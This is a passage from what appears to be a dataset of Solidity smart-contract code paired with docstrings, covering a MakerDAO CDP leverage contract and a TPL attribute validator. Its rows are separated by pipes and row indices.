uint destAmt = SplitSwapInterface(getAddressSplitSwap()).daiToEthSwap(debtToBorrow, splitAmt, slippageAmt);
lock(cdpID, destAmt);
emit LogLeverageVault(cdpID, debtToBorrow, destAmt);
}
function getColToFree(uint ethCol, uint daiDebt, uint usdPerEth) internal pure returns (uint colToFree) {
uint colToUSD = sub(wmul(ethCol, usdPerEth), 10);
uint minColNeeded = add(wmul(daiDebt, 1500000000000000000), 10);
colToFree = sub(wdiv(sub(colToUSD, minColNeeded), usdPerEth), 10);
}
function getDebtToBorrow(uint ethCol, uint daiDebt, uint usdPerEth) internal pure returns (uint debtToBorrow) {
uint colToUSD = sub(wmul(ethCol, usdPerEth), 10);
uint maxDebtLimit = sub(wdiv(colToUSD, 1500000000000000000), 10);
debtToBorrow = sub(maxDebtLimit, daiDebt);
}
}
contract InstaMcdSave is Save {
function() external payable {}
}
|
Unlocks WETH amount from the CDP Moves the amount from the CDP urn to proxy's address Exits WETH amount to proxy address as a token Converts WETH to ETH Sends ETH back to the user's wallet
|
function free(uint cdp, uint wad) internal {
if (wad > 0) {
address ethJoin = InstaMcdAddress(getMcdAddresses()).ethAJoin();
address manager = InstaMcdAddress(getMcdAddresses()).manager();
ManagerLike(manager).frob(
cdp,
-toInt(wad),
0
);
ManagerLike(manager).flux(
cdp,
address(this),
wad
);
GemJoinLike(ethJoin).exit(address(this), wad);
GemJoinLike(ethJoin).gem().withdraw(wad);
emit LogFree(
cdp,
wad,
address(this)
);
}
}
| 978,735 |
pragma solidity ^0.4.25;
import "./TPLBasicValidatorInterface.sol";
import "../../AttributeRegistryInterface.sol";
import "../../BasicJurisdictionInterface.sol";
/**
* @title An instance of TPLBasicValidator, issue & revoke an attribute type.
*/
contract TPLBasicValidator is TPLBasicValidatorInterface {
// declare registry interface, used to request attributes from a jurisdiction
AttributeRegistryInterface internal _registry;
// declare registry interface, set to same address as the registry
BasicJurisdictionInterface internal _jurisdiction;
// declare attribute ID required in order to receive transferred tokens
uint256 internal _validAttributeTypeID;
/**
* @notice The constructor function, with an associated attribute registry at
* `registry` and an assignable attribute type with ID `validAttributeTypeID`.
* @param registry address The account of the associated attribute registry.
* @param validAttributeTypeID uint256 The ID of the required attribute type.
* @dev Note that it may be appropriate to require that the referenced
* attribute registry supports the correct interface via EIP-165.
*/
constructor(
AttributeRegistryInterface registry,
uint256 validAttributeTypeID
) public {
_registry = AttributeRegistryInterface(registry);
_jurisdiction = BasicJurisdictionInterface(registry);
_validAttributeTypeID = validAttributeTypeID;
}
/**
* @notice Check if contract is assigned as a validator on the jurisdiction.
* @return True if validator is assigned, false otherwise.
*/
function isValidator() external view returns (bool) {
uint256 totalValidators = _jurisdiction.countValidators();
for (uint256 i = 0; i < totalValidators; i++) {
address validator = _jurisdiction.getValidator(i);
if (validator == address(this)) {
return true;
}
}
return false;
}
/**
* @notice Check if the validator is approved to issue attributes of the type
* with ID `attributeTypeID` on the jurisdiction.
* @param attributeTypeID uint256 The ID of the attribute type in question.
* @return True if validator is approved to issue attributes of given type.
*/
function canIssueAttributeType(
uint256 attributeTypeID
) external view returns (bool) {
return (
_validAttributeTypeID == attributeTypeID &&
_jurisdiction.canIssueAttributeType(address(this), _validAttributeTypeID)
);
}
/**
* @notice Check if the validator is approved to issue an attribute of the
* type with ID `attributeTypeID` to account `account` on the jurisdiction.
* @param account address The account to check for issuing the attribute to.
* @param attributeTypeID uint256 The ID of the attribute type in question.
* @return Bool indicating if attribute is issuable & byte with status code.
* @dev This function could definitely use additional checks and error codes.
*/
function canIssueAttribute(
address account,
uint256 attributeTypeID
) external view returns (bool, bytes1) {
// Only the predefined attribute type can be issued by this validator.
if (_validAttributeTypeID != attributeTypeID) {
return (false, hex"A0");
}
// Attributes can't be issued if one already exists on the given account.
if (_registry.hasAttribute(account, _validAttributeTypeID)) {
return (false, hex"B0");
}
return (true, hex"01");
}
/**
* @notice Check if the validator is approved to revoke an attribute of the
* type with ID `attributeTypeID` from account `account` on the jurisdiction.
* @param account address The checked account for revoking the attribute from.
* @param attributeTypeID uint256 The ID of the attribute type in question.
* @return Bool indicating if attribute is revocable & byte with status code.
* @dev This function could definitely use additional checks and error codes.
*/
function canRevokeAttribute(
address account,
uint256 attributeTypeID
) external view returns (bool, bytes1) {
// Only the predefined attribute type can be revoked by this validator.
if (_validAttributeTypeID != attributeTypeID) {
return (false, hex"A0");
}
// Attributes can't be revoked if they don't exist on the given account.
if (!_registry.hasAttribute(account, _validAttributeTypeID)) {
return (false, hex"B0");
}
// Only the issuing validator can revoke an attribute.
(address validator, bool unused) = _jurisdiction.getAttributeValidator(
account,
_validAttributeTypeID
);
unused;
if (validator != address(this)) {
return (false, hex"C0");
}
return (true, hex"01");
}
/**
* @notice Get the ID of the attribute type required to hold tokens.
* @return The ID of the required attribute type.
*/
function getValidAttributeID() external view returns (uint256) {
return _validAttributeTypeID;
}
/**
* @notice Get account of utilized jurisdiction and associated attribute
* registry managed by the jurisdiction.
* @return The account of the jurisdiction.
*/
function getJurisdiction() external view returns (address) {
return address(_jurisdiction);
}
/**
* @notice Issue an attribute of the type with the default ID to account
* `account` on the jurisdiction. Values are left at zero.
* @param account address The account to issue the attribute to.
* @return True if attribute has been successfully issued, false otherwise.
*/
function _issueAttribute(address account) internal returns (bool) {
_jurisdiction.issueAttribute(account, _validAttributeTypeID, 0);
return true;
}
/**
* @notice Revoke an attribute of the type with ID `attributeTypeID` from
* account `account` on the jurisdiction.
* @param account address The account to revoke the attribute from.
* @return True if attribute has been successfully revoked, false otherwise.
*/
function _revokeAttribute(address account) internal returns (bool) {
_jurisdiction.revokeAttribute(account, _validAttributeTypeID);
return true;
}
}
|
Issue an attribute of the type with the default ID to account `account` on the jurisdiction. Values are left at zero. account address The account to issue the attribute to. return True if attribute has been successfully issued, false otherwise./
|
function _issueAttribute(address account) internal returns (bool) {
_jurisdiction.issueAttribute(account, _validAttributeTypeID, 0);
return true;
}
| 12,809,396 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.